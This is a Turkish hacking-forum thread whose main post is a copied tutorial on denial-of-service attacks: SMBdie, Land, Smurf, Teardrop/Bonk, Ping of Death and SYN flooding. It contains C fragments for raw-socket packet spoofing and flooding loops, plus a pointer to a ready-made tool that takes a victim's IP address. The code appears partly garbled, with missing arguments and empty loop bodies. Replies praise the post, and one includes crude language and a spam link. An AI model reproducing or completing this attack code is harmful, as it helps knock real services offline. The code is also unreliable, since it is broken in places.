kocaeli ya sen I LOVE ROCK"N ROLL

esprimi yaptın yoksa aklınımı deniyorsun :S Neyse forum kirliliğinden başka bir şey değil. Yinede ctrl+c ve ctr+v tuşlarına bastığın için emeğe saygı diyorum..

: güzel paylaşım Allah razı olsun Hoca tmm yenisinde bu kadar belli etme 2 senelik konuyu hortlatmanın ne alemi var :| Sabrımla yazı tura oynama.. Damarıma basanın.. Kan dolaşımını durdururum!

İnternet ilk olarak USA milli ordusunda çıkmasına bakmayarak USA milli ordusu nedir ya zelleştirilmiş ordu da mı var : ) tamam iyi güzel de TCP/IP hakkında fikri olmayan adamlar bunları nasıl anlasın bu bir? tipik bir 3. sınıf hack sitesi makalesi nerden anladım derseniz sondaki smileyden :D

İnternetdeki saldırılarda Uzaktan Saldırı en çok konuşulan konuların başında gelir. Bu saldırılar internetde genelde "DDoS","DoS","Syn-flood","PoD"... gibi isimlerle anılırlar. Bu saldırıların nasıl yapıldığının yanında bu saldırılar için kullanılabilecek C++ kodlarını da veremeye çalışacam. İnternet ilk olarak USA milli ordusunda çıkmasına bakmayarak çok şaşırtıcıdır ki burada kullanılan protokol olan TCP/IP o kadar da güvenli değildir. zellikle TCP/IP nin bazızelliklerindendir ki bu tür uzaktan saldırılar yapılabiliyor. Aynı zamanda bu saldırılarda İşletim sisteminde bulunan zayıf noktalarının da büyük rolü var. Uzaktan Saldırılar için ihtiyaçlar. Bu tür bir saldırının yapılabilmesi için en az bir tane internete bağlı bir bilgisayara ihtiyaç vardır. Bir tane bilgisayarla yapılan bu tür saldırılara "DoS" denir. Fakat yapılabilecek saldırı DDoS olacaksa ne kadar fazla makina olursa o kadarda saldırının başarılı olması muhtemeldir. Bunun için de genelde bir çok makinayı ele geçirecek ve bu doğrultuda kullanacak virüs yazılır ve internetde yayılması sağlanır. Daha sonra ise aynı anda hedefe toplu sorgu yapılmaya çalışılıyor ve bu şekilde hedefteki bilgisayar sisteminin bu sorgulara cevap vermeye yetişemeyerek servis dışı kalması sağlanır."SMBdie" SaldırısıSMB - Bu Microsoft un windows ta bulunan dosya, yazıcı ynetimi ile ilgili bir protokoldür. NETBIOS açık olan Windows (NT/2k/XP/. NET RC1) yapılanbu tür bir saldırı onu etkisiz hale getirmeye yeterlidir. Teorik olarak SMBdie saldırısı ile uzaktaki makinada istenilen kod çalıştırılabilir. Pratikte ise bu yntemle effektif DoS saldırısıyapıla biliyor. SMB ni sıradan çıkarmak için o makinaya zel bir sorgu gnderilmesi lazımdır. Hatta bu saldırıyı otomatik hale getirmek için program mevcuttur bu programıpacketstorm. linuxsecurity.com sitesinde indirebilirsiniz. Bu programla saldırıyı gerçekleştirmek için yapmanız gereken şey kurbanın IP adresini ve NETBIOSisimini girmeniz gerekir. Linux altında çalışan SMB ler içinde buna benzer program yazılabilir."Land" SaldırısıAcaba DoS ve buna benzer saldırısında internete bir sürü sorgu gnderiyoruz, bunu yapmak zorundamıyız? Hayır! Çünki bunu kurban bilgisayarın kenidisine de yaptırabiliriz. Bu yntemle bilgisayarı kendisini yok eden kamikaze dnüştüre biliriz. Bu yntemde asıl amaç kurban bilgisayarın kendi kendisine fazla sayıda sorgu gndermesini ve servis dışı olmasını sağlamaktır. Bunu yapmak için kurbana gnderen adres kısmında kendi IP'si yazılı olanIP paketi gnderiyoruz. Gnderenin portu ile Alıcı portunun da aynı olmasına dikkat ediyoruz. Bazı işletim sistemleri bu tür paketleri alınca IP paketdeki gnderen adresine yani kendisinecevap gndermeye çalışıyorlar. Bu şekilde sonsuz bir dngü oluşuyor ve sistemin devre dışı kalıyor. Bu eski yntemin en nemli kod kısımlarına bakalım://tanımlarstruct sockaddr_in sin;struct hostent hoste;int sock;struct ip ipheader= buffer;//ismine gre host arıyoruz. hoste = gethostbyname(argv );bcopy ;//port numarasını sayıya çeviriyoruz. sin. sin_port = htons(atoi(argv ));sock = socket(AF_INET, SOCK_RAW, 255);//gnderenin ve alıcının adreslerini ayarlıyoruz. ipheader-> ip_src=sin. sin_addr;ipheader-> ip_dst=sin. sin_addr;//gnderenin ve alıcının port numaralarını ayarlıyoruz. tcpheader-> th_sport=sin. sin_port;tcpheader-> th_dport=sin. sin_port;//paketi gnderiyoruz. sendto(sock, buffer, sizeof +sizeof ,0, &sin, sizeof ;Bu tür Land saldırılarının çok daha gelişmiş ve yenileri vardır. Bunlardan biride internetde bulunabilen "La Tierra" dır."Smurf" saldırısıYukarıda grdüğümüz "Land" saldırısı tüm işletim sistemlerinde olmadığından bazen etkisiz kalabiliyor. Eğer biz gnderen adresinde kurbanın IP'siyazılı ICMP paketini broadcast olarak gnderirsek Bu sorguyu alan tüm subnete ait makinalar bu pakete cevap vermek için kurbanın bilgisayarına cevap paketleri yollayacaklarve bu şekilde Smurf denen bu saldırıyı gerçekleştirmiş olacağız. Bu yntemle alakalı kodu grelim:void smurf Broadcast adresleri ile ilgili : subnet için bu adresler 208.131.0.0,208.131.255.255 olacaktır."Teardrop ve Bonk" saldırısıBu saldırı bazı işletim sistemlerinin blünmüş paketleri toplama işlemindeki bazı zayıflıklardan yararlanıyor. Bu saldırıda bilgisayara gnderilen 2 zel olarak hazırlanmışpaket parçası kurbanın bilgisayarının hafızasının silinmesini sağlıyor. Bonk atağı için olan kodu grelim://tanımlar#define FRG_CONST 0x3#define PADDING 0x1cstruct udp_pkt pkt;void fondle main {// Daha etkili olmak için bu şekilde 1000 kadar paket gnderilecektir. for (i = 0; i < 1000; ++i) }"Ping of Death" SaldırısıBu saldırıda zel olarak hazırlanmış 64 kb büyük ICMP paket gnderilerek sağlanıyor. rnek kod:#ifdef REALLY_RAW#define FIX htons #else#define FIX #endif//ICMP-paketini hazırlıyoruzicmp-> icmp_type = ICMP_ECHO;icmp-> icmp_code = 0;icmp-> icmp_cksum = htons( (ICMP_ECHO << 8));for (offset = 0; offset < 65536; offset += {// değişimi hesaplıyoruzip-> ip_off = FIX(offset > > 3);if (offset < 65120)ip-> ip_off | = FIX ;elseip-> ip_len = FIX(418);// paketi gnderiyoruz. sendto(s, buf, sizeof buf, 0, &dst, sizeof dst);//doğrulamaif (offset 0) }"SYN flooding" SaldırısıEn sonda anlatacağım bu saldırı türü bir nce anlatılanlardan daha üniversaldır . Bu saldırıyı her türlü işletim sistemine uygulamak olur. TCP/IP de 2 bilgisayar haberleşmeye başlamadan nce "el sıkma, tokalaşma" yapılır. Yani A bilgisayarı B bilgisayarına bağlantı isteyini belirten SYN paketi gnderir. Buna cevap olarak B bilgisayarıda SYN/ACK paketini gnderir. Bu paketi alan A bilgisayarı B bilgisayarın hazır oldugunu anlıyor ve son olarak da ACK paketini gndererekbağlantıyı sağlamış oluyor. Fakat Server bilgisayara çok fazla sayıda bağlantı isteği gnderilirse bunların bir kısmını red etmeye başlıyor. İşte SYN flooding denensaldırı bu olayı kullanarak gerçekleşiyor, yani kurban bilgisayara çok sayıda SYN paketi gndererek diğer tüm gelen istekleri kabul etmemesini sağlıyor ve Servis dışı kalmış oluyor. Şimdi bu saldırı için kodu grelim:// TPC/IP başlığıstruct send_tcp send_tcp;// başlıkstruct pseudo_header pseudo_header;int i;int tcp_socket;struct sockaddr_in sin;int sinlen;//IP-paketinin oluşturulmasısend_tcp. ip. ihl = 5;send_tcp. ip. version = 4;send_tcp. ip. tos = 0;send_tcp. ip. tot_len = htons(40);send_tcp. ip. id = getpid ;send_tcp. ip. frag_off = 0;send_tcp. ip. ttl = 255;send_tcp. ip. protocol = IPPROTO_TCP;send_tcp. ip. check = 0;send_tcp. ip. saddr = source_addr;send_tcp. ip. daddr = dest_addr;//TCP-paketinin oluşturulmasısend_tcp. tcp. source = getpid ;send_tcp. tcp. dest = htons ;send_tcp. tcp. seq = getpid ;send_tcp. tcp. ack_seq = 0;send_tcp. tcp. res1 = 0;send_tcp. tcp. doff = 5;send_tcp. tcp. fin = 0;send_tcp. tcp. syn = 1;send_tcp. tcp. rst = 0;send_tcp. tcp. psh = 0;send_tcp. tcp. ack = 0;send_tcp. tcp. urg = 0;send_tcp. tcp. res2 = 0;send_tcp. tcp. window = htons(512);send_tcp. tcp. check = 0;send_tcp. tcp. urg_ptr = 0;//sin ayarlarısin. sin_family = AF_INET;sin. sin_port = send_tcp. tcp. source;sin. sin_addr. s_addr = send_tcp. ip. daddr;//socket açıyoruztcp_socket = socket ;for(i = 0; i < numsyns; i++) close ;SONUÇŞimdi bu kadar saldırıları anlatdıktan sonra onlardan nasıl korunacağımızı anlatalım: Firewall kullanın Antivirüs kullanın Güvenlikle ilgili son gelişmeleri takip edin. Yamaları, Servis packleri kurmayı unutmayın SMBdie saldırısından korunmak için Microsoftun bu saldırıya karşı çıkardığı yamayı kurun. Smurf saldırısın tespit için network trafiğini analiz edin. Yeni işletim sistemleri "Bonk" saldırısından etkilenmiyorlar. Burada anlatılan saldırı çeşitleri dışında da saldırı türleri mevcuttur. Bunlara rnek olarak DNS flooding, Ping flooding, UDP bomb... Bu tür saldırılar hakkında daha fazla bilgi için aşagıdaki güvenlik sitelerine bakabilirsinizhttp://www.insecure.org, www.securityfocus.com, packetstorm. linuxsecurity.com/Not: aLıntıdır I LOVE ROCK"N ROLL

Güzel Paylaşım Kardeşim Sağolasın İşime Yaradı Aqa Devam İşallah >Emeğe Saygı< YALAN doğrudan, karanlık aydınlıktan kaçar. güneş yalnızda olsa etrafına ışık saçar. UNUTMA doğruların kaderidir yalnızlık. kargalar sürüyle KARTALLAR yalnız uçar, YAŞIYORUM YİNE ASLAN GİBİ..! hacklink. info

güzel paylaşım Allah razı olsun bundan sonra oy kullanmayacağım eğer bir kişi bile gelip oy kullanmak vatandaşlık grevidir felan derse çıkarır kimliğimi gtüne sokarım

nereden c/p pardon?

Saolasın süpersin kardeş işime yarıyacak. Eger o an güneş yoksa dünyanda. Cama nefesınle buğu yapıp güneş çizmelisin.